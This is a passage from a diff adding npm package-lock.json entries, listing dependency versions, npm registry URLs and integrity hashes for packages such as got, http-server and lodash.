"^2.0.0", + "strip-outer": "^1.0.0", + "trim-repeated": "^1.0.0" + } + }, + "follow-redirects": { + "version": "1.14.3", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.3.tgz", + "integrity": "sha512-3MkHxknWMUtb23apkgz/83fDoe+y+qr0TdgacGIA7bew+QLBo3vdgEN2xEsuXNivpFy4CyDhBBZnNZOtalmenw==" + }, + "forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" + }, + "form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", + "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "function-bind": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", + "integrity": "sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "get-intrinsic": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.1.tgz", + "integrity": "sha512-kWZrnVM42QCiEA2Ig1bG8zjoIMOgxWwYCEeNdwY6Tv/cOSeGpcoX4pXHfKUxNKVoArnrEr2e9srnAxxGIraS9Q==", + "requires": { + "function-bind": "^1.1.1", + "has": "^1.0.3", + "has-symbols": "^1.0.1" + } + }, + "get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "requires": { + "assert-plus": "^1.0.0" + } + }, + "got": { + "version": "11.8.2", + "resolved": "https://registry.npmjs.org/got/-/got-11.8.2.tgz", + "integrity": "sha512-D0QywKgIe30ODs+fm8wMZiAcZjypcCodPNuMz5H9Mny7RJ+IjJ10BdmGW7OM7fHXP+O7r6ZwapQ/YQmMSvB0UQ==", + "requires": { + "@sindresorhus/is": "^4.0.0", + "@szmarczak/http-timer": "^4.0.5", + "@types/cacheable-request": "^6.0.1", + "@types/responselike": "^1.0.0", + "cacheable-lookup": "^5.0.3", + "cacheable-request": "^7.0.1", + "decompress-response": "^6.0.0", + "http2-wrapper": "^1.0.0-beta.5.2", + "lowercase-keys": "^2.0.0", + "p-cancelable": "^2.0.0", + "responselike": "^2.0.0" + }, + "dependencies": { + "@sindresorhus/is": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.0.1.tgz", + "integrity": "sha512-Qm9hBEBu18wt1PO2flE7LPb30BHMQt1eQgbV76YntdNk73XZGpn3izvGTYxbGgzXKgbCjiia0uxTd3aTNQrY/g==" + }, + "cacheable-request": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.2.tgz", + "integrity": "sha512-pouW8/FmiPQbuGpkXQ9BAPv/Mo5xDGANgSNXzTzJ8DrKGuXOssM4wIQRjfanNRh3Yu5cfYPvcorqbhg2KIJtew==", + "requires": { + "clone-response": "^1.0.2", + "get-stream": "^5.1.0", + "http-cache-semantics": "^4.0.0", + "keyv": "^4.0.0", + "lowercase-keys": "^2.0.0", + "normalize-url": "^6.0.1", + "responselike": "^2.0.0" + } + }, + "decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "requires": { + "mimic-response": "^3.1.0" + } + }, + "get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "requires": { + "pump": "^3.0.0" + } + }, + "http-cache-semantics": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz", + "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ==" + }, + "json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==" + }, + "keyv": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-4.0.3.tgz", + "integrity": "sha512-zdGa2TOpSZPq5mU6iowDARnMBZgtCqJ11dJROFi6tg6kTn4nuUdU09lFyLFSaHrWqpIJ+EBq4E8/Dc0Vx5vLdA==", + "requires": { + "json-buffer": "3.0.1" + } + }, + "lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" + }, + "mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==" + }, + "normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==" + }, + "p-cancelable": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz", + "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg==" + }, + "responselike": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", + "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "requires": { + "lowercase-keys": "^2.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.8", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.8.tgz", + "integrity": "sha512-qkIilPUYcNhJpd33n0GBXTB1MMPp14TxEsEs0pTrsSVucApsYzW5V+Q8Qxhik6KU3evy+qkAAowTByymK0avdg==" + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" + }, + "har-validator": { + "version": "5.1.5", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.5.tgz", + "integrity": "sha512-nmT2T0lljbxdQZfspsno9hgrG3Uir6Ks5afism62poxqBM6sDnMEuPmzTq8XN0OEwqKLLdh1jQI3qyE66Nzb3w==", + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-symbol-support-x": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/has-symbol-support-x/-/has-symbol-support-x-1.4.2.tgz", + "integrity": "sha512-3ToOva++HaW+eCpgqZrCfN51IPB+7bJNVT6CUATzueB5Heb8o6Nam0V3HG5dlDvZU1Gn5QLcbahiKw/XVk5JJw==" + }, + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==" + }, + "has-to-string-tag-x": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/has-to-string-tag-x/-/has-to-string-tag-x-1.4.1.tgz", + "integrity": "sha512-vdbKfmw+3LoOYVr+mtxHaX5a96+0f3DljYd8JOqvOLsf5mw2Otda2qCDT9qRqLAhrjyQ0h7ual5nOiASpsGNFw==", + "requires": { + "has-symbol-support-x": "^1.4.1" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==" + }, + "http-cache-semantics": { + "version": "3.8.1", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-3.8.1.tgz", + "integrity": "sha512-5ai2iksyV8ZXmnZhHH4rWPoxxistEexSi5936zIQ1bnNTW5VnA85B6P/VpXiRM017IgRvb2kKo1a//y+0wSp3w==" + }, + "http-proxy": { + "version": "1.18.1", + "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", + "integrity": "sha512-7mz/721AbnJwIVbnaSv1Cz3Am0ZLT/UBwkC92VlxhXv/k/BBQfM2fXElQNC27BVGr0uwUpplYPQM9LnaBMR5NQ==", + "requires": { + "eventemitter3": "^4.0.0", + "follow-redirects": "^1.0.0", + "requires-port": "^1.0.0" + } + }, + "http-server": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/http-server/-/http-server-0.12.3.tgz", + "integrity": "sha512-be0dKG6pni92bRjq0kvExtj/NrrAd28/8fCXkaI/4piTwQMSDSLMhWyW0NI1V+DBI3aa1HMlQu46/HjVLfmugA==", + "requires": { + "basic-auth": "^1.0.3", + "colors": "^1.4.0", + "corser": "^2.0.1", + "ecstatic": "^3.3.2", + "http-proxy": "^1.18.0", + "minimist": "^1.2.5", + "opener": "^1.5.1", + "portfinder": "^1.0.25", + "secure-compare": "3.0.1", + "union": "~0.5.0" + } + }, + "http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "http2-wrapper": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/http2-wrapper/-/http2-wrapper-1.0.3.tgz", + "integrity": "sha512-V+23sDMr12Wnz7iTcDeJr3O6AIxlnvT/bmaAAAP/Xda35C90p9599p0F1eHR/N1KILWSoWVAiOMFjBBXaXSMxg==", + "requires": { + "quick-lru": "^5.1.1", + "resolve-alpn": "^1.0.0" + } + }, + "ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "into-stream": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-3.1.0.tgz", + "integrity": "sha1-lvsKk2wSur1v8XUqF9BWFqvQlMY=", + "requires": { + "from2": "^2.1.1", + "p-is-promise": "^1.1.0" + } + }, + "is-natural-number": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/is-natural-number/-/is-natural-number-4.0.1.tgz", + "integrity": "sha1-q5124dtM7VHjXeDHLr7PCfc0zeg=" + }, + "is-object": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz", + "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA==" + }, + "is-plain-obj": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz", + "integrity": "sha1-caUMhCnfync8kqOQpKA7OfzVHT4=" + }, + "is-retry-allowed": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz", + "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg==" + }, + "is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha1-EtSj3U5o4Lec6428hBc66A2RykQ=" + }, + "is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" + }, + "isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" + }, + "isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "isurl": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz", + "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==", + "requires": { + "has-to-string-tag-x": "^1.2.0", + "is-object": "^1.0.1" + } + }, + "jsbn": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", + "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" + }, + "json-buffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz", + "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg=" + }, + "json-schema": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" + }, + "jsprim": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", + "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.2.3", + "verror": "1.10.0" + } + }, + "keyv": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.0.0.tgz", + "integrity": "sha512-eguHnq22OE3uVoSYG0LVWNP+4ppamWr9+zWBe1bsNcovIMy6huUJFPgy4mGwCd/rnl3vOLGW1MTlu4c57CT1xA==", + "requires": { + "json-buffer": "3.0.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "make-dir": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz", + "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==", + "requires": { + "pify": "^4.0.1", + "semver": "^5.6.0" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.49.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", + "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==" + }, + "mime-types": { + "version": "2.1.32", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", + "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", + "requires": { + "mime-db": "1.49.0" + } + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "minimist": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", + "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" + }, + "mkdirp": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", + "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "requires": { + "minimist": "^1.2.5" + } + }, + "ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, + "normalize-url": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-2.0.1.tgz", + "integrity": "sha512-D6MUW4K/VzoJ4rJ01JFKxDrtY1v9wrgzCX5f2qj/lzH1m/lW6MhUZFKerVsnyjOhOsYzI9Kqqak+10l4LvLpMw==", + "requires": { + "prepend-http": "^2.0.0", + "query-string": "^5.0.1", + "sort-keys": "^2.0.0" + }, + "dependencies": { + "sort-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz", + "integrity": "sha1-ZYU1WEhh7JfXMNbPQYIuH1ZoQSg=", + "requires": { + "is-plain-obj": "^1.0.0" + } + } + } + }, + "oauth-sign": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", + "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" + }, + "object-inspect": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz", + "integrity": "sha512-jp7ikS6Sd3GxQfZJPyH3cjcbJF6GZPClgdV+EFygjFLQ5FmW/dRUnTd9PQ9k0JhoNDabWFbpF1yCdSWCC6gexg==" + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==" + }, + "p-cancelable": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-0.4.1.tgz", + "integrity": "sha512-HNa1A8LvB1kie7cERyy21VNeHb2CWJJYqyyC2o3klWFfMGlFmWv2Z7sFgZH8ZiaYL95ydToKTFVXgMV/Os0bBQ==" + }, + "p-event": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/p-event/-/p-event-2.3.1.tgz", + "integrity": "sha512-NQCqOFhbpVTMX4qMe8PF8lbGtzZ+LCiN7pcNrb/413Na7+TRoe1xkKUzuWa/YEJdGQ0FvKtj35EEbDoVPO2kbA==", + "requires": { + "p-timeout": "^2.0.1" + } + }, + "p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=" + }, + "p-is-promise": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-1.1.0.tgz", + "integrity": "sha1-nJRWmJ6fZYgBewQ01WCXZ1w9oF4=" + }, + "p-timeout": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-2.0.1.tgz", + "integrity": "sha512-88em58dDVB/KzPEx1X0N3LwFfYZPyDc4B6eF38M1rk9VTZMbxXXgjugz8mmwpS9Ox4BDZ+t6t3QP5+/gazweIA==", + "requires": { + "p-finally": "^1.0.0" + } + }, + "pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=" + }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, + "pify": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz", + "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==" + }, + "pinkie": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/pinkie/-/pinkie-2.0.4.tgz", + "integrity": "sha1-clVrgM+g1IqXToDnckjoDtT3+HA=" + }, + "pinkie-promise": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/pinkie-promise/-/pinkie-promise-2.0.1.tgz", + "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", + "requires": { + "pinkie": "^2.0.0" + } + }, + "png-js": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/png-js/-/png-js-1.0.0.tgz", + "integrity": "sha512-k+YsbhpA9e+EFfKjTCH3VW6aoKlyNYI6NYdTfDL4CIvFnvsuO84ttonmZE7rc+v23SLTH8XX+5w/Ak9v0xGY4g==" + }, + "portfinder": { + "version": "1.0.28", + "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", + "integrity": "sha512-Se+2isanIcEqf2XMHjyUKskczxbPH7dQnlMjXX6+dybayyHvAf/TCgyMRlzf/B6QDhAEFOGes0pzRo3by4AbMA==", + "requires": { + "async": "^2.6.2", + "debug": "^3.1.1", + "mkdirp": "^0.5.5" + } + }, + "prepend-http": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + }, + "process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "psl": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", + "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" + }, + "pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "punycode": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", + "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" + }, + "qrcode-terminal": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/qrcode-terminal/-/qrcode-terminal-0.12.0.tgz", + "integrity": "sha512-EXtzRZmC+YGmGlDFbXKxQiMZNwCLEO6BANKXG4iCtSIM0yqc/pappSx3RIKr4r0uh5JsBckOXeKrB3Iz7mdQpQ==" + }, + "qs": { + "version": "6.10.1", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.10.1.tgz", + "integrity": "sha512-M528Hph6wsSVOBiYUnGf+K/7w0hNshs/duGsNXPUCLH5XAqjEtiPGwNONLV0tBH8NoGb0mvD5JubnUTrujKDTg==", + "requires": { + "side-channel": "^1.0.4" + } + }, + "query-string": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/query-string/-/query-string-5.1.1.tgz", + "integrity": "sha512-gjWOsm2SoGlgLEdAGt7a6slVOk9mGiXmPFMqrEhLQ68rhQuBnpfs3+EmlvqKyxnCo9/PPlF+9MtY02S1aFg+Jw==", + "requires": { + "decode-uri-component": "^0.2.0", + "object-assign": "^4.1.0", + "strict-uri-encode": "^1.0.0" + } + }, + "quick-lru": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" + }, + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "requires": { + "core-util-is": 